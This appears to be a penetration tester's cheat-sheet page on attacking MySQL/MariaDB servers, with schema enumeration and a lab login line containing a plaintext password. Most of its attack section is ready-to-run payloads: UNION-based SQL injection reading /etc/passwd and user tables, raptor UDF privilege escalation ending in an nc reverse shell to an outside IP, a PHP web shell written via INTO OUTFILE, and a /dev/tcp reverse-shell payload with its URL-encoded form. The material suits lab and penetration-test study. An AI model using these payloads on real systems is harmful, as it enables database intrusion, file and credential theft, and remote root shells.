3306 - MySQL/MariaDB
101
Usage
SELECT version();
Schemas & DBs
MySQL default system schemas:
mysql
System database containing tables that store information required by the MySQL server
information_schema
Provides access to database metadata
performance_schema
A feature for monitoring MySQL Server execution at a low level
sys
A set of objects that helps DBAs and developers interpret data collected by the performance_schema
MySQL stores information about itself in the information_schema
database, which is a read-only repository of the metadata of the MySQL database server, providing insights into the structure and organization of the database environment. It contains some useful tables, such as:
We can use the following queries to enumerate the DBMS via the information_schema
database:
SELECT table_schema FROM information_schema.tables GROUP BY table_schema;
CLI Tools
mysql -h <target-ip> -u lewis -pP4ntherg0t1n5r3c0n##
For an example of mysql
usage see Devvortex.
Attacks
SQLi
Enumeration statements:
On the below commands, the comment at the end includes a space: --
! The #
symbol can also be used.
a' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA--
UNION
-based payload for reading and writing files:
# Enumerate user
a' UNION SELECT 1, user(), 3, 4--
a' UNION SELECT 1, user, 3, 4 from mysql.user--
# User's privileges
a' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="user1"--
# Superpriv
a' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="user1"--
# Read file
a' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4--
UDF Functions
User Defined Functions (UDFs) in MySQL enable extending database capabilities by allowing custom functions written in any programming language to be compiled into shared libraries and loaded into the database. These functions run natively like built-in ones, providing flexibility but also introducing a significant attack surface when exploited. From a red team perspective, UDFs present a powerful method to escalate privileges, especially when the MySQL server runs with elevated permissions.
# Enumerate mysql permissions
ps -aux | grep mysql
If the MySQL operates as root
and the latter is compromised there is the potential of leveraging UDFs for privilege escalation based on raptor's PoC.
# Compile the exploit code
gcc -g -c raptor_udf2.c
# Covert the compiled binary to a shared library (so)
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Accessing the MySQL database with root
credentials allows the discovery of the plugin directory where MySQL stores UDF libraries and confirmation that the secure_file_priv
setting was disabled, permitting file operations necessary for loading the malicious library.
# Enumerate the plugin directory
show variables like '%plugin%';
# Check the value of the secure_file_priv setting (empty/NULL means that is disabled)
show variables like '%secure_file_priv%';
The compiled shared library was loaded into the database by reading its binary content into a table and dumping it into the plugin directory. Subsequently, a new SQL function was created to link to this shared library.
# Use the mysql database
use mysql;
# Create a table to hold the exploit code
create table foo(line blob);
# Import the exploit by inserting its contents into the table
insert into foo values(load_file('/tmp/raptor_udf2.so'));
# Dump the so's content onto the plugins directory
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
# Create a function that invokes the exploit
create function do_system returns integer soname 'raptor_udf2.so';
# Confirm the presence of the do_system function
select * from mysql.func;
# Test the function
select do_system('id > /var/www/output; chown www-data www-data /var/www/output');
# Get a reverse root shell
select do_system('nc 192.168.49.136 8080 -e /bin/bash');
Read & Write Files
The FILE
privilege is needed to both read
and write
files.
In MySQL, the ability to read from or write to files requires the FILE
privilege, and is further controlled by the global system variable secure_file_priv
. This variable restricts file operations to a specific directory:
If set to a directory path, operations like
LOAD_FILE
andSELECT ... INTO OUTFILE
are limited to that path.If set to
NULL
, these operations are completely disabled.If empty, there are no restrictions—this is insecure but allows unrestricted file I/O.
# Check current setting
SELECT @@GLOBAL.secure_file_priv;
If permitted, files can be written using the SELECT ... INTO OUTFILE
clause. The target directory must be writable by the OS user running MySQL. For example:
SELECT * FROM users INTO OUTFILE '/var/lib/mysql-files/test.txt';
To read files:
SELECT LOAD_FILE('/var/lib/mysql-files/test.txt');
If the server is insecurely configured (e.g., secure_file_priv
is empty), sensitive files may be readable:
SELECT LOAD_FILE('/etc/passwd');
An attacker with FILE
privileges may exploit SQLi to:
Read files using
LOAD_FILE()
Write files using
INTO OUTFILE
Query sensitive tables and variables like
mysql.user
orinformation_schema.global_variables
a' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4--
a' UNION SELECT 1, user(), 3, 4--
a' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"--
If the MySQL server is running in a web environment and the web root is known and writable, it may be possible to write a PHP web shell. To enumurate the webroot the LOAD_FILE
clause can be used to read the server configuration.
Apache
/etc/apache2/apache2.conf
Nginx
/etc/nginx/nginx.conf
ISS
$WinDir%\System32\Inetsrv\Config\ApplicationHost.config
# Write a webshell file
SELECT "<?php echo shell_exec($_GET['c']); ?>" INTO OUTFILE '/var/www/html/webshell.php';
Once written, this shell can be accessed via a browser to execute OS commands and if needed upgraded to a reverse shell.
# Revshell payload
sh -i >& /dev/tcp/192.168.45.170/443 0>&1
# Encoded
GET /webshell.php?c=sh%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.45.170%2f443%200%3e%261
Inline Commands
Tools like WinRM does not support interactive prompts like mysql
shell normally uses. That means we must use the -e
option to execute SQL statements inline:
# List databases
> .\mysql.exe -u root -e "SHOW DATABASES;"
# List tables
.\mysql.exe -u root -D wordpress -e "SHOW TABLES;"
...
Last updated
Was this helpful?